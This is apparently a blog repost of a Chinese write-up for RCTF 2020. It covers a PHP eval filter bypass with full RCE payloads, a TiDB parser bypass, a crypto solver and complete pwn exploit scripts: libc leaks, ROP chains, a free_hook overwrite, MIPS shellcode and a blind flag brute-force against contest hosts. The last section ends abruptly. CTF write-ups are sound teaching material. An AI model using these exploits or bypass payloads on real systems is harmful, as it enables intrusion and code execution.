mysql %3cforeach_RCTF 2020 Writeup

原创

德格才让 于 2021-01-27 09:42:30 发布 86 收藏
文章标签： mysql %3cforeach

来啦！

今天也是活力满满的工作日小编

WEB

calc

解题思路

```
error_reporting ( 0 );

if(!isset( $_GET [ 'num' ])){

show_source ( __FILE__ );

}else{

$str = $_GET [ 'num' ];

$blacklist = [ '[a-z]' , '[\x7f-\xff]' , '\s' , '"' , '"' , '`' , '\[' , '\]' , '\$' , '_' , '\\\' , '\^' , ',' ];

foreach ( $blacklist as $blackitem ) {

if ( preg_match ( '/' . $blackitem . '/im' , $str )) {

die( "what are you want to do?" );

}

}

@eval( 'echo ' . $str . ';' );

}

?>
```

fuzz一下没被ban的字符：

URLENCODE：%251，URLDECODE：%1

URLENCODE：%250，URLDECODE：%0

URLENCODE：%251，URLDECODE：%1

URLENCODE：%252，URLDECODE：%2

URLENCODE：%253，URLDECODE：%3

URLENCODE：%254，URLDECODE：%4

URLENCODE：%255，URLDECODE：%5

URLENCODE：%256，URLDECODE：%6

URLENCODE：%257，URLDECODE：%7

URLENCODE：%258，URLDECODE：%8

URLENCODE：%259，URLDECODE：%9

URLENCODE：%10，URLDECODE：

URLENCODE：%11，URLDECODE：

URLENCODE：%12，URLDECODE：

URLENCODE：%13，URLDECODE：

URLENCODE：%14，URLDECODE：

URLENCODE：%15，URLDECODE：

URLENCODE：%16，URLDECODE：

URLENCODE：%17，URLDECODE：

URLENCODE：%18，URLDECODE：

URLENCODE：%19，URLDECODE：

URLENCODE：%1A，URLDECODE：

URLENCODE：%1B，URLDECODE：

URLENCODE：%1C，URLDECODE：

URLENCODE：%1D，URLDECODE：

URLENCODE：%1E，URLDECODE：

URLENCODE：%1F，URLDECODE：

URLENCODE：%21，URLDECODE：!

URLENCODE：%23，URLDECODE：#

URLENCODE：%25，URLDECODE：%

URLENCODE：%26，URLDECODE：&

URLENCODE：%28，URLDECODE：(

URLENCODE：%29，URLDECODE：)

URLENCODE：%2A，URLDECODE：*

URLENCODE：%2B，URLDECODE：+

URLENCODE：-，URLDECODE：-

URLENCODE：.，URLDECODE：.

URLENCODE：%2F，URLDECODE：/

URLENCODE：0，URLDECODE：0

URLENCODE：1，URLDECODE：1

URLENCODE：2，URLDECODE：2

URLENCODE：3，URLDECODE：3

URLENCODE：4，URLDECODE：4

URLENCODE：5，URLDECODE：5

URLENCODE：6，URLDECODE：6

URLENCODE：7，URLDECODE：7

URLENCODE：8，URLDECODE：8

URLENCODE：9，URLDECODE：9

URLENCODE：%3A，URLDECODE：:

URLENCODE：%3B，URLDECODE：;

URLENCODE：%3C，URLDECODE：<

URLENCODE：%3D，URLDECODE：=

URLENCODE：%3E，URLDECODE：>

URLENCODE：%3F，URLDECODE：?

URLENCODE：%40，URLDECODE：@

URLENCODE：%7B，URLDECODE：{

URLENCODE：%7C，URLDECODE：|

URLENCODE：%7D，URLDECODE：}

URLENCODE：%7E，URLDECODE：~

我们可以使用的有数字、特殊符号以及一些运算符，运算符有这些：

< 、=、>、+、*、!、&、|、~、%

我们可以通过科学运算法的方式拿到字符串0-9、E、+、.：

?num=(1000000000000000000000).(2)

返回：1.0E+212

最后一个字符是我们可控的，可以令其为0-9任意一个数字，这样拼接起来后返回的就是一个字符串，并且我们还可以控制最后一位。

?num=((1000000000000000000000).(2)){1}

如上可以获得.这个符号，经过测试，数字与任意字符串进行除法运算，可以获得三个字母I、N、F。

因为题目中不允许使用引号，所以这里的字符串可以用第一步获取到的E、.、0-9来替换。

通过"1"|"E"，"3"|"E"的方式，可以获取到u和w两个字母。

现在我们拥有了这些可以使用的东西：

0-9、.、+、I、N、F、u、w、}

将他们组合起来，相互进行或、和、取反运算，并取上一次的运算结果作为下一次运算的参数。

代码：

```
strings = ['0','1','2','3','4','5','6','7','8','9','E','u','w','}','+','.','I','N','F']
input_value = 'n'
for s in strings:
for s1 in strings:
data = (chr(ord(s)|ord(s1))).strip()
if data not in strings:
strings.append(data)
if data == input_value:
# print(data)
print('success',s,'|',s1)
print(len(strings))
for s in strings:
for s1 in strings:
data = (chr(ord(s)&ord(s1)))
data = data.strip()
if data == input_value:
# print(data)
print(1)
print('success',s,'&',s1)
print(len(strings))
for s in strings:
for s1 in strings:
data = (chr(ord(s)|ord(s1))).strip()
if data not in strings:
```

```
strings.append(data)
if data == input_value:
# print(data)
print('success',s,'|',s1)
print(len(strings))
for s in strings:
for s1 in strings:
try:
data = (chr(ord(s)&ord(s1))).strip()
except:
continue
if data not in strings:
strings.append(data)
if data == input_value:
print(data)
# print(data)
print('success',s,'|',s1)
for s in strings:
try:
data = chr(~ord(s))
except:
continue
data = data.strip()
if data not in strings:
strings.append(data)
print(data)
if data == input_value:
# print(data)
print('success',s,'|')
input_value = 's'
print(strings)
```

此时我们以及可以获得到这些字符串了：

接着就是一个一个拼的过程了，最终采用system(getallheaders{1})的方式进行rce：

调用readflag的脚本：

((((((2).(0)){0})|(((999**999).(1)){2}))&((((0/0).(0)){1})|(((1).(0)){0}))).((((999**999).(1)){0})&(((999**999).(1)){1})).((((((2).(0)){0})|(((999**999).(1)){2}))&((((0/0).(0)){1})|(((1).(0)){0}))).(((999**999).(1)){0}).(((999**999).(1)){1}).(((999**999).(1)){2}).((((999**999).(1)){0})|(((999**999).(1)){1}))()

第一遍构造的是system(/readflag) 发现要算数

接着构造 system(next(getallheaders()))

((((((2).(0)){0}){0})|(((0/0).(0)){1})).(((1).(0)){0}|((1/0).(0)){0}).(((((2).(0)){0}){0})|(((0/0).(0)){1})).((((1/0).(0)){0}&((1/0).(0)){2})|(((4).(0)){0})).((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))).(((((999**999).(1)){1}&((((-1).(0)){0})|(((0/0).(0)){1}))))|((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))))) ((((0/0).(0)){0}.(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))).((((1/0).(0)){0}&((1/0).(0)){1})|(((8).(0)){0})).(((((1/0).(0)){0}&((1/0).(0)){2})|(((4).(0)){0}))))(((((((999**999).(1)){2})|(((-2).(1)){0})&(((1).(0)){0})))).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))).(((((1/0).(0)){0}&((1/0).(0)){2})|(((4).(0)){0})))).((((0/0).(0)){1})|(((-2).(1)){0})&(((1).(0)){0})).((((((999**999).(1)){1})&((((-1).(0)){0})|(((0/0).(0)){1})))|((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))))&(((0/0).(0)){0})).((((((999**999).(1)){1})&((((-1).(0)){0})|(((0/0).(0)){1}))))|((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))))&(((0/0).(0)){0})).(((1/0).(0)){0}&((1/0).(0)){1}).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))).((((0/0).(0)){1})|(((-2).(1)){0})&(((1).(0)){0})).((((0/0).(0)){0}&(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))))).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))).(((((1/0).(0)){0}&((1/0).(0)){2})|(((2).(0)){0}))).(((((2).(0)){0}){0})|(((0/0).(0)){1}))());

打过去的时候都需要进行url编码一下

最终结果：

Misc

mysql_interface

解题思路

考察tidb的parse

利用已有代码重现parse过程，注意安装的时候安装对应的版本的包

go mod init test

go get "github.com/pingcap/parser@v3.1.2-0.20200507065358-a5eade012146+incompatible"

go get "github.com/pingcap/tidb/types/parser_driver@v1.1.0-beta.0.20200520024639-0414aa53c912"

package main

import (

"fmt"

"github.com/pingcap/parser" // v3.1.2-0.20200507065358-a5eade012146+incompatible

_ "github.com/pingcap/tidb/types/parser_driver" // v1.1.0-beta.0.20200520024639-0414aa53c912

```
)
var isForbidden = [256]bool{}
const forbidden = "\x00\t\n\v\f\r`~!@#$%^&*()_=[]{}\\|:;'\"/?<>,\xa0"
func init() {
for i := 0; i < len(forbidden); i++ {
isForbidden[forbidden[i]] = true
}
}
func allow(payload string) bool {
if len(payload) < 3 || len(payload) > 128 {
fmt.Println("length")
return false
}
for i := 0; i < len(payload); i++ {
// fmt.Println(payload[i])
if isForbidden[payload[i]] {
fmt.Println("isForbidden")
return false
}
}
if _, _, err := parser.New().Parse(payload, "", ""); err != nil {
fmt.Println("[*] parser success")
return true
}
fmt.Println("parser error")
return false
}
func main() {
payload := "select+flag from .flag"
result := allow(payload)
fmt.Println(result)
```

}

经过不断瞎鸡儿fuzz。最终发现在table_name这里带.可以过去

Cryto

easy_f(x)

解题思路

简单解方程，513元，模下线性方程，用sage解个矩阵就好

这里是是python结合sage的脚本，可能要稍微改改才能跑，还在改23333

```
import string

from Crypto.Util.number import getPrime as getprime ,long_to_bytes,bytes_to_long,inverse

from pwn import *

from pwnlib.util.iters import mbruteforce

from hashlib import sha256

#context.log_level = "debug"

#table='zxcvbnmasdfghjklqwertyuiopZXCVBNMASDFGHJKLQWERTYUIOP'

sh=remote("124.156.140.90","2333")

sh.recvuntil("sha256(XXXX+")

suffix=sh.recv(len('SLhlaef5L6nM6pYx')).decode('utf-8')

sh.recvuntil("== ")

cipher=sh.recv(len('3ade7863765f07a3fbb9d853a00ffbe0485c30eb607105196b0d1854718a7b6c')).decode('utf
8')

sh.recvuntil("Give me XXXX:")

proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() == cipher, string.ascii_letters +
string.digits, length=4, method='fixed')

sh.sendline(proof)

sh.recvuntil("M=")

m = int(sh.recvuntil("\n")[:-1])

sh.recvuntil("want?\n")

sh.sendline("513")

x=[]

r=[]

for _ in range(513):
```

```
sh.recvuntil("f(")

x.append(int(sh.recvuntil(")")[:-1]))

sh.recvuntil("=")

r.append(int(sh.recvuntil("\n")[:-1]))

#sage:

a=[]

for i in x:

b=[]

for j in range(513):

b.append(pow (i, j, m))

a.append(b)

y=[]

for i in r:

y.append(i)

A=Matrix(Zmod(m),a)

Y=vector(y)

X = A.solve_right(Y)

sh.sendline(str(X[0]))

sh.interactive()
```

Pwn

bf

解题思路

漏洞在-[]可以循环执行[]括号里面的命令，这里会造成一个单字节溢出，溢出刚好可以修改code的指针值。然后后面就是单字节溢出在栈上的利用了。不过有一点需要注意，在函数退出，进行利用链之前，要将code指针还原，有个函数应该是对code指针进行析构了，不还原程序会crash.

```
from PwnContext import *

from pwn import *

#context.terminal = ['tmux', 'splitw', '-h']

context.log_level = 'debug'

s = lambda data :ctx.send(str(data)) #in case that data is an int

sa = lambda delim,data :ctx.sendafter(str(delim), str(data))

sl = lambda data :ctx.sendline(str(data))
```

```
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
ctx.binary = 'bf'
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ctx.debug_remote_libc = False
local=0
def choice():
if(local):
p=rs()
else:
ctx.remote = ('124.156.135.103',6002)
p=rs('remote')
return p
def debug():
if(local==1):
libc_base = ctx.bases.libc
print hex(libc_base)
ctx.symbols = {'sym1':0x1B1A,'sym2':0x16D8,'sym3':0x1BCB,'sym4':0x1BFE}
ctx.breakpoints = [0x1B1A,0x16D8,0x1BCB,0x1BFE]
ctx.debug()
#
def exp():
payload="-[>+],"
```

```
sla("enter your code:\n",payload)
ru("ing...")
s(p8(0x78))
ru("\x3a\x20")
libc_base=uu64(r(6))-(0x7ffff740db97-0x00007ffff73ec000)
leak("libc_base",libc_base)
if libc_base&0xff !=0:
raise Exception("no libc_base")
sa("continue",'y')
#pause()
#debug()
#pause()
payload="-[>+],"
sla("enter your code:\n",payload)
ru("ing...")
s(p8(0x88))
ru("\x3a\x20")
stack=uu64(r(6))
leak("stack_addr",stack)
#pause()
if libc_base>>40 !=0x7f:
raise Exception("no stack")
leak("stack",stack)
#pause()
sa("continue",'y')
payload="-[>,]"
sla("enter your code:\n",payload)
ru("ing...")
for i in range(0x400):
s(p8(0x70))
sa("continue",'y')
```

```
rop_addr=stack-0x528
pop_rsp=0x0000000000003960+libc_base
payload="[......]"+p64(pop_rsp)+p64(rop_addr)
sla("enter your code:\n",payload)
sa("continue",'y')
pop_rdi_ret=0x000000000002155f+libc_base
pop_rsi_ret=0x0000000000023e6a+libc_base
pop_rdx_ret=0x0000000000001b96+libc_base
open_addr=libc_base+libc.symbols["open"]
read_addr=libc_base+libc.symbols["read"]
puts_addr=libc_base+libc.symbols["write"]
orw=p64(pop_rdi_ret)+p64(rop_addr+19*8)+p64(pop_rsi_ret)+p64(72)+p64(open_addr)
orw+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(rop_addr+21*8)+p64(pop_rdx_ret)+p64(0x30)+p64(read
orw+=p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(rop_addr+21*8)+p64(pop_rdx_ret)+p64(0x100)+p64(put
payload="-[,>+],"
sla("enter your code:\n",payload)
for i in range(len(orw)):
s(orw[i])
for i in range(0x400-len(orw)+1):
s('\x40')
#debug()
sa("continue",'n')
while(1):
try:
p=choice()
exp()
break
except Exception:
p.close()
irt()
```

note

解题思路

题目在检查数组边界时只检查了最大值且使用了有符号数，导致数组下溢

```
from pwn import *
prog = './note'
p = process(prog)
libc = ELF("./libc.so.6")
p = remote("124.156.135.103", 6004)
def add(idx, size):
p.sendlineafter("Choice: ", '1')
p.sendlineafter("Index: ", str(idx))
p.sendlineafter("Size: ", str(size))
def show(idx):
p.sendlineafter("Choice: ", '3')
p.sendlineafter("Index: ", str(idx))
def edit(idx, content):
p.sendlineafter("Choice: ", '4')
p.sendlineafter("Index: ", str(idx))
p.sendlineafter("Message: \n", content)
def free(idx):
p.sendlineafter("Choice: ", '2')
p.sendlineafter("Index: ", str(idx))
def exp():
add(0, 1)
show(-5)
p.recv(0x18)
libc.address = u64(p.recv(6)+'\x00'*2)-0x00007fe3dafa1760+0x7fe3dadbc000
log.info("libc.address ==> " + hex(libc.address))
edit(-5, p64(libc.sym['__free_hook'])+p64(8))
edit(-5, p64(libc.address+0x106ef8))
free(0)
```

p.interactive()

if __name__ == '__main__':

exp()

mginx

解题思路

题目在检查数组边界时只检查了最大值且使用了有符号数，导致数组下溢

$ checksec ./mginx

[!] Did not find any GOT entries

[*] '/home/kirin/xctf/mnigx/mginx'

Arch: mips64-64-big

RELRO: No RELRO

Stack: No canary found

NX: NX disabled

PIE: No PIE (0x120000000)

RWX: Has RWX segments

这里是实现的一个简单的HTTP解析程序

程序在根据Content-Length计算第二次需要read的数据长度时存在逻辑问题，并且直接从第一次read的HTTP头结尾开始read，可以造成栈溢出：

.text:0000000120001B00 dli $v0, 0x120000000 # Doubleword Load Immediate

.text:0000000120001B04 daddiu $a1, $v0, (asc_1200021E0 - 0x120000000) # "\r\n\r\n"

.text:0000000120001B08 ld $a0, 0x10C0+haystack($fp) # haystack

.text:0000000120001B0C dla $v0, strstr # Load 64-bit address

.text:0000000120001B10 move $t9, $v0

.text:0000000120001B14 jalr $t9 ; strstr # Jump And Link Register

.text:0000000120001B18 nop

.text:0000000120001B1C sd $v0, 0x10C0+var_10A0($fp) # Store Doubleword

.text:0000000120001B20 ld $v0, 0x10C0+var_10A0($fp) # Load Doubleword

.text:0000000120001B24 beqz $v0, loc_120001C70 # Branch on Zero

.text:0000000120001B28 nop

.text:0000000120001B2C ld $v0, 0x10C0+var_10A0($fp) # Load Doubleword

.text:0000000120001B30 daddiu $v0, 4 # Doubleword Add Immediate Unsigned

.text:0000000120001B34 sd $v0, 0x10C0+var_10A0($fp) # Store Doubleword

.text:0000000120001B38 ld $v0, 0x10C0+var_10A0($fp) # Load Doubleword

.text:0000000120001B3C sd $v0, 0x10C0+var_1070($fp) # Store Doubleword

.text:0000000120001B40 lw $v1, 0x10C0+var_10A8($fp) # Load Word

.text:0000000120001B44 daddiu $a0, $fp, 0x10C0+var_1038 # Doubleword Add Immediate Unsigned

.text:0000000120001B48 ld $v0, 0x10C0+var_10A0($fp) # Load Doubleword

.text:0000000120001B4C dsubu $v0, $a0 # Doubleword Subtract Unsigned

.text:0000000120001B50 sll $v0, 0 # Shift Left Logical

.text:0000000120001B54 subu $v0, $v1, $v0 # Subtract Unsigned

.text:0000000120001B58 move $v1, $v0

.text:0000000120001B5C lw $v0, 0x10C0+var_1068($fp) # Load Word

.text:0000000120001B60 addu $v0, $v1, $v0 # Add Unsigned

.text:0000000120001B64 sw $v0, 0x10C0+var_10B8($fp) # Store Word

.text:0000000120001B68 daddiu $v1, $fp, 0x10C0+var_1038 # Doubleword Add Immediate Unsigned

.text:0000000120001B6C lw $v0, 0x10C0+var_10A8($fp) # Load Word

.text:0000000120001B70 daddu $v0, $v1, $v0 # Doubleword Add Unsigned

.text:0000000120001B74 sd $v0, 0x10C0+buf($fp) # Store Doubleword

.text:0000000120001B78 b loc_120001BD0 # Branch Always

.text:0000000120001B7C nop

.text:0000000120001B80 # ---

.text:0000000120001B80

.text:0000000120001B80 loc_120001B80: # CODE XREF: main+4A0↓j

.text:0000000120001B80 lw $v0, 0x10C0+var_10B8($fp) # Load Word

.text:0000000120001B84 move $a2, $v0 # nbytes

.text:0000000120001B88 ld $a1, 0x10C0+buf($fp) # buf

.text:0000000120001B8C move $a0, $zero # fd

.text:0000000120001B90 dla $v0, read # Load 64-bit address

.text:0000000120001B94 move $t9, $v0

.text:0000000120001B98 jalr $t9 ; read # Jump And Link Register

.text:0000000120001B9C nop

.text:0000000120001BA0 sw $v0, 0x10C0+var_1094($fp) # Store Word

.text:0000000120001BA4 lw $v0, 0x10C0+var_1094($fp) # Load Word

.text:0000000120001BA8 blez $v0, loc_120001BE4 # Branch on Less Than or Equal to Zero

.text:0000000120001BAC nop

.text:0000000120001BB0 lw $v0, 0x10C0+var_10B8($fp) # Load Word

.text:0000000120001BB4 ld $v1, 0x10C0+buf($fp) # Load Doubleword

.text:0000000120001BB8 daddu $v0, $v1, $v0 # Doubleword Add Unsigned

.text:0000000120001BBC sd $v0, 0x10C0+buf($fp) # Store Doubleword

.text:0000000120001BC0 lw $v1, 0x10C0+var_10B8($fp) # Load Word

.text:0000000120001BC4 lw $v0, 0x10C0+var_1094($fp) # Load Word

.text:0000000120001BC8 subu $v0, $v1, $v0 # Subtract Unsigned

.text:0000000120001BCC sw $v0, 0x10C0+var_10B8($fp) # Store Word

.text:0000000120001BD0

.text:0000000120001BD0 loc_120001BD0: # CODE XREF: main+444↑j

.text:0000000120001BD0 lw $v0, 0x10C0+var_10B8($fp) # Load Word

.text:0000000120001BD4 bnez $v0, loc_120001B80 # Branch on Not Zero

.text:0000000120001BD8 nop

.text:0000000120001BDC b loc_120001BE8 # Branch Always

.text:0000000120001BE0 nop

类似payload："GET /flag \r\nConnection: keep-alie\r\nContent-Length: 1000\r\n\r\n"+"a"*0x9b0

程序没有开启NX保护，但是mips没有类似jmp rsp的操作

考虑先迁移栈到data段，而后再次栈溢出即可

(这里orw的shellcode，赛时没找到合适的as，为了赶时间，直接对照题目的elf文件中汇编到机器码的规则，以及题目uclibc中特定函数的syscall参数，人工翻译出来的orz)

```
from pwn import *
import sys
context.log_level="debug"
context.endian="big"
if len(sys.argv)==1:
p=process(["qemu-mips64","-g","1234","-L","./","./mginx"])
time.sleep(3)
elif len(sys.argv)==2:
```

```
p=process(["qemu-mips64","-L","./","./mginx"])
else:
p=remote("124.156.129.96",8888)
payload1="GET /flag \r\nConnection: keep-alie\r\nContent-Length: 1000\r\n\r\n"+"a"*0x9b1
#payload1=payload1.ljust(0x1000,"a")
p.send(payload1)
ra=0x1200018C4
fp=0x120012540
gp=0x12001a250
payload="b"*(0x654-0x20)+p64(gp)+p64(fp)+p64(ra)+"d"*8
payload=payload.ljust(0xd98,"b")
p.sendline(payload)
#p.interactive()
p.recvuntil("404 Not Found :(")
#time.sleep(2)
p.sendline(payload1)
ra=0x120013608
#open
shellcode="\xc8\xff\xa4\x67"[::-1]
shellcode+="\xff\xff\x05\x28"[::-1]
shellcode+="\xff\xff\x06\x28"[::-1]
shellcode+="\x8a\x13\x02\x24"[::-1]
shellcode+="\x0c\x00\x00\x00"[::-1]
#read
shellcode+="\x00\x40\x20\x25"#a0
shellcode+="\xc0\xff\xa5\x67"[::-1]#buf
shellcode+="\x24\x06\x00\x28"#size
shellcode+="\x88\x13\x02\x24"[::-1]
shellcode+="\x0c\x00\x00\x00"[::-1]
#write
shellcode+="\x24\x04\x00\x01"#a0
```

shellcode+="\xc0\xff\xa5\x67"[::-1]#buf

shellcode+="\x24\x06\x00\x28"#size

shellcode+="\x89\x13\x02\x24"[::-1]

shellcode+="\x0c\x00\x00\x00"[::-1]

f="/flag"

payload="b"*(0x653-0x40)+f+"\x00"*(0x28-len(f))+p64(fp)+p64(ra)+"d"*8+shellcode+"a"*(0xd99-0x654-len(shellcode))

p.sendline(payload)

p.sendline()

p.interactive()

no write

解题思路

$ checksec ./no_write

[*] '/home/kirin/xctf/no_write/no_write'

Arch: amd64-64-little

RELRO: Full RELRO

Stack: No canary found

NX: NX enabled

PIE: No PIE (0x400000)

程序用prctl开启了沙箱，沙箱规则：

$ seccomp-tools dump ./no_write line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x06 0x00 0x40000000 if (A >= 0x40000000) goto 0010 0004: 0x15 0x04 0x00 0x00000002 if (A == open) goto 0009 0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009 0006: 0x15 0x02 0x00 0x0000003c if (A == exit) goto 0009 0007: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0009 0008: 0x06 0x00 0x00 0x00000000 return KILL 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0010: 0x06 0x00 0x00 0x00000000 return KILL

只能进行open read 和exit

因为没有leak，所以首先要做的就是栈迁移，直接通过连续复用leave ret语句即可

因为这里没有syscall，所以想办法在栈中留下一个syscall

观察发现迁移栈后rcx=libc中read地址附近一个地址：

.text:000000000011007F syscall ; LINUX - sys_read.text:0000000000110081 cmp rax, 0FFFFFFFFFFFFF000h.text:0000000000110087 ja short loc_1100E0.text:0000000000110089 rep retn.text:0000000000110090 loc_110090: ; CODE XREF: read+B↑j.text:0000000000110090 push r12.text:0000000000110092 push rbp.text:0000000000110093 mov r12, rdx.text:0000000000110096 push rbx.text:0000000000110097 mov rbp, rsi.text:000000000011009A mov ebx, edi.text:000000000011009C sub rsp, 10h.text:00000000001100A0 call sub_1306E0.text:00000000001100A5 mov rdx, r12 ; count.text:00000000001100A8 mov r8d, eax.text:00000000001100AB mov rsi, rbp ; buf.text:00000000001100AE mov edi, ebx ; fd.text:00000000001100B0 xor eax, eax.text:00000000001100B2 syscall

偏移：0x110081位置

附近恰好有syscall地址，所以想到直接利用调用start中的libc_start_main来在栈中构造syscall地址

简单说明一下：libc_start_main逻辑：在重新执行0x110081位置后，会直接ret入libc_start_main指定的"main函数"地址，这时候rbp=rcx，push入栈

在栈中留下一个syscall附近地址后(read附近的syscall可以顺利ret，没有crash)，只需要多次写，构造一条rop链，并修改地址低字节，就可以实现open("./flag");read(fd,flag_addr,len);

flag读入data段后，因为没有输出，所以要选择一条已知地址的cmp语句来实现判断，一一看过之后最后选择：

.text:0000000000400750 loc_400750: ; CODE XREF: __libc_csu_init+54↓j

.text:0000000000400750 mov rdx, r15

.text:0000000000400753 mov rsi, r14

.text:0000000000400756 mov edi, r13d

.text:0000000000400759 call qword ptr [r12+rbx*8]

.text:000000000040075D add rbx, 1

.text:0000000000400761 cmp rbp, rbx

.text:0000000000400764 jnz short loc_400750

.text:0000000000400766

.text:0000000000400766 loc_400766: ; CODE XREF: __libc_csu_init+34↑j

.text:0000000000400766 add rsp, 8

.text:000000000040076A pop rbx

.text:000000000040076B pop rbp

.text:000000000040076C pop r12

.text:000000000040076E pop r13

.text:0000000000400770 pop r14

.text:0000000000400772 pop r15

.text:0000000000400774 retn

只需让flag放在合适位置，在调用.text:0000000000400766时候就可以让flag其中一位pop入寄存器，而后再ret入0x400761这个位置，两个思路：

直接通过比较rbp和rbx的值判断flag：rbx是flag其中一位(其他位覆盖为00字节就可以实现一位一位pop)，而后设置rbp为猜测值，这样只有相等时，才会继续走下面的ret，在ret位置放置read，就可以通过判断是否阻塞来爆破每一位

第二种类似：控制r12，rbp=0，这样总会走jnz程序流，这时候rbx为特定值，通过不断修改r12，当r12+rbx*8位置处为read时发生阻塞，只需要在特定位置放置一个可以read的地址，r12从大到小，当第一次发生read阻塞时，r12+rbx*8就是已知的一个地址，r12已知，直接可以计算出rbx

赛时赶时间没写好完全的多线程脚本，通过修改current值(flag字符的index)，一位一位爆破即可：

```
from pwn import *

import time

context.log_level="debug"

#p=process("./no_write")

current=4

for i in range(32,127):

print i

try:

p=remote("129.211.134.166",6000)

payload1="a"*0x10+p64(0x601f00)+p64(0x04006F5)

time.sleep(0.5)

p.send(payload1)

payload2="a"*0x10+p64(0x601f00)+p64(0x0400773)+p64(0x4006bf)+p64(0x400771)+p64(0x601e70)+p64(0)+

time.sleep(0.5)

p.send(payload2)

payload3=(p64(0x400772)+p64(0))*6+p64(0x04004f0)

time.sleep(0.5)

p.send(payload3)

payload4=p64(0)*5+p64(0x400773)+p64(3)+p64(0x400771)+p64(0x601d00-current)+p64(0)

payload4+=p64(0x4004f0)+p64(0x400773)+p64(0)

payload4+=p64(0x400771)+p64(0x601e40)+p64(0)+p64(0x4004f0)

payload4+=p64(0x400771)+p64(0x601e00)+p64(0)+p64(0x4004f0)

payload4+=p64(0x40076d)+p64(0x601e28)+"./flag"

f_addr=0x601f28
```

```
rop=p64(0x0400773)+p64(f_addr)+p64(0x400771)+p64(0)+p64(0)+"\xb2"
time.sleep(0.5)
p.send(payload4)
time.sleep(0.5)
p.send(rop)
time.sleep(0.5)
p.send("aa")
payload5=p64(0x400771)+p64(0x601d01)+p64(0)+p64(0x4004f0)
payload5+=p64(0x400771)+p64(0x601cf8)+p64(0)+p64(0x4004f0)
payload5+=p64(0x40076d)+p64(0x601ce0)+p64(0)*13
payload5+=p64(0x40076d)+p64(0x601e28)
time.sleep(0.5)
p.send(payload5)
r12=0
bp=i
payload6="\x00"*7+p64(bp)+p64(r12)+p64(0)+p64(0x601f00)+p64(0x100)+p64(0x400761)
payload6+=p64(0)*7+p64(0x4004f0)+p64(0x4004f0)
time.sleep(0.5)
p.send(payload6)
#gdb.attach(p)
time.sleep(0.5)
p.send(p64(0x40076A))
print "current",chr(i)
p.recvall()
break
except:
print "fail"
```

Reverse

go-flag

解题思路

go 多线程

长度F6的都是写，fun1是读，但是不知道什么时候读的

这些协程的运行于brainfuck的执行过程相似。

main_main_fun1作用比较明显，就是接受输入，并调用了runtime_chansend，那读取数数据必然就要使用runtime_chanrecv，其交叉引用共了24个函数(用户自写函数)，那么要校验输入肯定要用自减，自减的循环数即是对应的正确字符。注意到如下赋值语句：

4BB29D 88 14 0E mov [rsi+rcx], dl

以此字节码搜索正好搜索到24处，dl即为输入字符，[rsi+rcx-1]就是循环数。

.text:00000000004BB29D main_main_func446 mov [rsi+rcx], dl

.text:00000000004C02BD main_main_func542 mov [rsi+rcx], dl

.text:00000000004C53BD main_main_func639 mov [rsi+rcx], dl

.text:00000000004CA2FD main_main_func734 mov [rsi+rcx], dl

.text:00000000004CF85D main_main_func836 mov [rsi+rcx], dl

.text:00000000004D4BFD main_main_func936 mov [rsi+rcx], dl

.text:00000000004D9F9D main_main_func1036 mov [rsi+rcx], dl

.text:00000000004DF4FD main_main_func1138 mov [rsi+rcx], dl

.text:00000000004E47BD main_main_func1237 mov [rsi+rcx], dl

.text:00000000004E9D1D main_main_func1339 mov [rsi+rcx], dl

.text:00000000004EEC5D main_main_func1434 mov [rsi+rcx], dl

.text:00000000004F3FFD main_main_func1534 mov [rsi+rcx], dl

.text:00000000004F92BD main_main_func1633 mov [rsi+rcx], dl

.text:00000000004FE81D main_main_func1735 mov [rsi+rcx], dl

.text:0000000000503BBD main_main_func1835 mov [rsi+rcx], dl

.text:00000000005091FD main_main_func1938 mov [rsi+rcx], dl

.text:000000000050E75D main_main_func2040 mov [rsi+rcx], dl

.text:0000000000513AFD main_main_func2140 mov [rsi+rcx], dl

.text:000000000051905D main_main_func2242 mov [rsi+rcx], dl

.text:000000000051E5BD main_main_func2344 mov [rsi+rcx], dl

.text:0000000000523B1D main_main_func2446 mov [rsi+rcx], dl

.text:0000000000528DDD main_main_func2545 mov [rsi+rcx], dl

.text:000000000052DFBD main_main_func2643 mov [rsi+rcx], dl

.text:00000000005336DD main_main_func2747 mov [rsi+rcx], dl

下接脚本下断，记录dl值即可。

cipher

解题思路

题目 提供数据

